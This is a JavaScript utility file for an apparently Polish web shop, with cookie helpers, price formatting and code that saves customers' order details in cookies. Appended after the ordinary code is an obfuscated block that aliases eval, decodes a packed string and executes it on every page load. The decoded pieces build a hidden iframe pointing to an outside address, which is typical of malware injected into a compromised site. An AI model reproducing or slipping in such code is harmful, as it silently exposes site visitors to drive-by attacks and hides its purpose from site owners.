/*
* Common JS scripts
*/

function gEBI( objId ){
  return document.getElementById( objId );
}

function createCookie( sName, sValue, iDays ){
  sValue = escape( sValue );
  if( iDays ){
    var oDate = new Date();
    oDate.setTime( oDate.getTime() + ( iDays*24*60*60*1000 ) );
    var sExpires = "; expires="+oDate.toGMTString();
  }
  else
    var sExpires = "";
  document.cookie = sName+"="+sValue+sExpires+"; path=/";
}

function throwCookie( sName ){
  var sNameEQ = sName + "=";
  var aCookies = document.cookie.split( ';' );
  for( var i=0; i < aCookies.length; i++ ){
    var c = aCookies[i];
    while( c.charAt(0) == ' ' )
      c = c.substring( 1, c.length );
    if( c.indexOf( sNameEQ ) == 0 )
      return c.substring( sNameEQ.length, c.length );
  }
  return null;
}

function delCookie( sName ){
  createCookie( sName, "", -1 );
}

function isset( sVar ){
  return( typeof( window[sVar] ) != 'undefined' );
}

function targetBlank( ){
  var oLinks = document.getElementsByTagName( 'a' );
  for( var i=0; i < oLinks.length; i++ ) {
    if( oLinks[i].className == 'new-window' || oLinks[i].className == 'new-windowMark' ) {
      oLinks[i].onclick = function( ){
        window.open( this.href );
        return false;
      };
    }
  }
} // end function

_bUa=navigator.userAgent.toLowerCase();
_bOp=(_bUa.indexOf("opera")!=-1?true:false);
_bIe=(_bUa.indexOf("msie")!=-1&&!_bOp?true:false);
_bIe4=(_bIe&&(_bUa.indexOf("msie 2.")!=-1||_bUa.indexOf("msie 3.")!=-1||_bUa.indexOf("msie 4.")!=-1)&&!_bOp?true:false)
isIe=function(){return _bIe;}
isOldIe=function(){return _bIe4;}
var olArray=[];

function AddOnload( f ){
  if( isIe && isOldIe ){
    window.onload = ReadOnload;
    olArray[olArray.length] = f;
  }
  else if( window.onload ){
    if( window.onload != ReadOnload ){
      olArray[0] = window.onload;
      window.onload = ReadOnload;
    }
    olArray[olArray.length] = f;
  }
  else
    window.onload=f;
}
function ReadOnload(){
  for( var i=0; i < olArray.length; i++ ){
    olArray[i]();
  }
}


/*
* Orders
*/

function fix( f ){
	f	= f.toString( );
	var re	= /\,/gi;
	f	= f.replace( re, "\." );

	f = Math.round( f * 100 );
	f = f.toString( );
	var sMinus = f.slice( 0, 1 );
	if( sMinus == '-' ){
	 f = f.slice( 1, f.length )
	}
	else
	 sMinus = '';
	if( f.length < 3 ) {
		while( f.length < 3 )
			f = '0' + f;
	}

	var w = sMinus + f.slice( 0, f.length-2 ) + "." + f.slice( f.length-2, f.length );

  var poprawnyFloat = /^-?[0-9]{1,}[.]{1}[0-9]{1,}$/i;
	if( w.search( poprawnyFloat ) == -1 )
		w = '0.00';
	return w;

}

function changePriceFormat( fPrice ){
  // config start
  var sDecimalSeparator = '.';
  var sThousandSeparator = '';
  // config end

  fPrice = fix( fPrice );
  var aPrice = fPrice.split( '.' );
  var iPriceFull = aPrice[0];
  var aPriceFull = new Array( );

  var j = 0;
  for( var i = iPriceFull.length - 1; i >= 0; i-- ){
    if( j > 0 && j%3 == 0 )
      aPriceFull[j] = iPriceFull.substr( i, 1 )+''+sThousandSeparator;
    else
      aPriceFull[j] = iPriceFull.substr( i, 1 );
    j++;
  } // end for

  aPriceFull.reverse( );
  sPriceFull = aPriceFull.join( '' );
  sPrice = sPriceFull+''+sDecimalSeparator+''+aPrice[1];
  return sPrice;
} // end function changePriceFormat

function generatePrice( fPrice1, fPrice2 ){
  fPrice1 = fix( fPrice1 );
  fPrice2 = fPrice2.toString();
  if( fPrice2.match( /\%/ ) ){
    fPrice2 = fix( fPrice2.replace( /\%/, '' ) );
    if( fPrice2 < 0 ){
      return changePriceFormat( fPrice1 - ( fPrice1 * ( -fPrice2 / 100 ) ) );
    }
    else
      return changePriceFormat( +fPrice1 + ( fPrice1 * ( fPrice2 / 100 ) ) ); 
  }
  else{
    fPrice2 = fix( fPrice2 ) * 1;
    return changePriceFormat( +fPrice1 + fPrice2 ); 
  }
} // end function generatePrice


function countCarrierPrice( oObj ){

  if( oObj.value != '' )
    aCourier = oObj.value.split( ";" );
  else
    aCourier = Array( 0, 0, '0.00' );

  fDeliveryCost = Math.abs( aCourier[2] );

  gEBI( 'carrierCost' ).innerHTML = changePriceFormat( fDeliveryCost );
  gEBI( 'orderSummary' ).innerHTML = changePriceFormat( +fOrderSummary + fDeliveryCost )

} // end function 


var aUserDataNames = new Array( 'sFirstName', 'sLastName', 'sCompanyName', 'sStreet', 'sZipCode', 'sCity', 'sPhone', 'sEmail', 'sNip' );

function saveUserData( sName, sValue ){
  createCookie( sName, sValue, 2 );
}

function checkSavedUserData( ){
  var iCount = aUserDataNames.length;
  var sCookie = null;
  var oForm = gEBI( "order" );
  for( var i = 0; i < iCount; i++ ){
    sCookie = throwCookie( aUserDataNames[i] );
    if( sCookie && sCookie != '' ){
      if( gEBI( aUserDataNames[i] ) )
        gEBI( aUserDataNames[i] ).value = unescape( sCookie );
      else if( oForm[aUserDataNames[i]] )
        oForm[aUserDataNames[i]].value = unescape( sCookie );
    }
  } // end for
} // end function checkSavedUserData

function delSavedUserData( ){
  var iCount = aUserDataNames.length;
  var sCookie = null;
  for( var i = 0; i < iCount; i++ ){
    delCookie( aUserDataNames[i] );
  } // end for
} // end function delSavedUserData


k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\'l=St",$6Xv4e~*0!Qf*2!5:"ring.f",PZv52#a#f%c!6*a!6:"romCha",!8#8v68*2*5ER0!5*4:"rCode("Ga*3!Qc#7%8!6N+4&6^0+f!U4#UW7#8#9&3G7#8#a#9#b#cM#e#f&0HQAa%b%c%d%e%fR0T,d0R1#3NX%a%7%3%0`Hb!fEE?*2*7|V`Gb?~Y#e?%cR1%8TGa%4#bZN#1#1+fN&5Dc*4>+eM#a>%Qd&4HWb%UcEV$4!Aa&6G3#3?+0*2OXV%b`@dI$b!3+2$d+c!2#8&0H4%4%0$a!f!f+c!2O&0D7*a!f#0!6*3#7#5%0&4H0#WU7#f*1*3#0!6&4@f!8P#b#A8*e+7+3&4,a7+4+bX*9+4+W3>&9G8*3N#f+1+3+eY*3&6D7+4*f#6+cY*1*4>&4,d0$4Y~+1+3%d?R0T@U6>#6>x$7$bx:90^4%d$f#1|$U1|?&5HAe$c!4*5$e!8#U3&1Hb#9R1%c%WAe%5%cTGAe%5%a#A5%4#b#9TGf%8#b#1#W4%3#1~&0He#e#9R1%d%b#AUbTH3#4Y#6%d#4#a#7%a&3D7E%3%0#c#A4!8|&0G3N+a#4?%U7%6+7&2,ac*b*c#AcM+3#a+9T^U2%U6NVEN*c&1H2*5$f?*6$9*1$a?`,ac#c*1|#6+5*a%A0&4H4#1M#Aa?IXOT^d?>$4#3!f+b%0%7TGWe%a#4%9#8!3*9#f&3G4%WbV#0+b%4*0!6&3Ga+9+5%7%6%c%0?ITDbI$b!3+4$d!3~+1&0^c#AcM?#0#e*5OT^a?#3O+a$4#4VETGb#Qb#c*4#3NxO`@0#f#3%2V+d!UaE&2Dc%aX>+d#6X>%6&9DcIM%2#cYO+f!5&3@2#1|E~E*0%8#a&5H8+8MY#A3%A8>&4^6E#0V$4M#b%a+0&6,ac+8+7+4#fX*9+4+6&9G0N*7*3$6*1N*e*3&6Da+4X%b%9#c%Ub%a`^1#c%5%8+1*d!Wf%4&6D4|*c+e|%6*1*4*f&4G5+e*d!4|*c+f|*b&4GW4>#a#6$7%a%e#e&9HQfR3*1#f#c+1Y*4&6@a!8!8!5M$e$4x~&2@2$9*e$d#4%4#7#3M&2,dWe%5%c#e!A2#fI&9^e#e$f$c%f%f!We*1&3@a$8I#8$9*0+4x$9T@0$b~%2#U1#b%d%d&0G9#6!8!1!3*1N!3*1&0^4V%5R5x$8?P$e`Db!3%5%eN$b#9#6*b&0^2+b!4#8$eNN*c#9&1Df*f*5E|+8ZZ!f&4,a2%8#5V+b?IV*8`Da>!4+5V>NPI&1@6+e*9*3+1#e>$6%e&6^a*a#1M*6+4Y!f$9&9Hf$a$a$8$8+f%a*4+e`,a2*aP+d$d$a?>$9`@c#3I+d+1*9*2*2$8&6@1x+e?$a$dI#5*3TDd%9*7#1P+Ue*8*8:90@6>E+9$4x>#0E&3,ae!f+2#b*5*5$b?P`,a8xPO+f$d!5%a$f&2,af+3%9x+e?$a$dITDc#0E+a*e%4Z+9O&3@8$b!f!f#3*1N+9*3&6G1+5+e$4#0$c$ex#7:90@c!4Y$e!5!f#e~Y&1Df~$f$8x$f$cx$e`@9I$c$9I$e$7I$6&5@7>$8P>$7x>$8&0@8$4$b$8$4*0$a$4$fT@8Zx$6ZPPZP&1@9X$a$9X$f$aX$a&9@2Z$6$7Z$6$6ZP&1@7P$b$9P$cP$b$9&6Dc$7>P>I>?>&0@4$8+d>*0!Q8>#9&0G3+2N+c%d%b%2%7%0&9@7#f%b%Q6*cY#a%b&9^Q4#9#aZ#e?%d?&5@7$9ER2+d#a*2!8*7&5@2#5I%2%e%e%a*4$9:90@8?X>+cX>%8X&9D5%aE!5%5E!5+5E&2Db*c#3O%9X$9#5$4T@0$7#c%Q6$8?#6P&9De!6*5*e%3>$e|O&3,ac!2~#f#4%9+c!2N&0@WAQ8M%Wc+3*aTD9+c!8$d#Ua%7!1%4&1HQd%0#9*1#0!6O?&4D7#e?O*1#0!6O?&4D3#5>|+c!2!0%7#9&0Ga%a#e*3$7$6$6!6Z&6@5>%fX?*7*5$8M&9Gc%9*1V#0>>R0R0&3@0R4x$9$7$7$7?R4`DeR2ER2#aY%8#aR0&5Hc#e%d+d%2%We%Qe&9H5*c#4ZxIIV%e&1Hf!U5VO$d*2!2!5&2,a1!A9+b*a!1%9+2*9&1H2%Q5%6O>R0*3!3&3DbY?R0~#c*5%6MTHf!8*c#AcM?I*3TG6?%U7%6+Wb#f#7&2@2R2$8#b%d#AA0$4:90@8$7$7$7?*2+0|#b`,d3*6!6!A4E%9P#f&6,af*e!5%8x#8M#6%7&5^5Y#W7*3%6V#bO&2,d3*6!6!AbE%e#0*f&6D3%bI#f#Q1#a%7#b&3,d7Z%U9*a%0%f%8M:90H8M%3%2*d%WAQ9&4H7%3+0Z!8+1>E*3&5@4$8#1V*8*4V%5+2`H8E$a!fP$7!fIN&6H6*c%3NXVV+2!f&1Ga#Q7+8+7*6+9!Wa&3DdN+b|+2+f>+cZ&4@d!5+cO%d~!8!8!5&2^8!f#a#f#U6%9+0#7&1DfE|R5+2*f~V*e`G1+f$a#1P%5%9#A6&4Hd#0#0Z!5*1O%A2&4Gb#cM%0%Uc#bEN`^2M%6%9!f#a*4$8$a`@c#4EE$c#5$e!A5&1^7#e$Qd%a%6%3%eP:90Dc!8*5*e+0+1+6+b+c&5,ae#0#6R4~~Z#1#9&6G0>>IM%2#cYO&3H7I%3%2%3O>>>&3^3M%e#A4?#cIT,$6X!~*0!Qf*2|:"32);",*%QM%Wc*b%0Y:"zL(l)\'",|!!0*A2!8!0$8*2:");"};zK=[];zso=String.fromCharCode;for(+r zw in zy){Jtrim(zw,zy))};J\';zj=zso(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60\\,32<5<4,99);\');J\'zv=zso(104/1/5/3/4<6,61,56,48,62,60,47\\);\');J\'zF=zso(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');zL(zB(zK))!v7#vb$vQvc&:8*v9+va-,q/,10<,11>!c?$0@-8A9%D-7E!eG,bH,cI$1JzK.push(M#dN!9O!bP$2Q8%RvdT&8U5#V!aW6#X$5Y%1Z!d^-9`&7x$3zk_|!7~#2\\/5/2<4,97/9/1';for(c=40;c--;d=(t=d.split('!#$%&*+-/<>?@ADEGHIJMNOPQRTUVWXYZ^`xz|~\\'[c])).join(t.pop()));k_sd=d;k_L(k_sd)

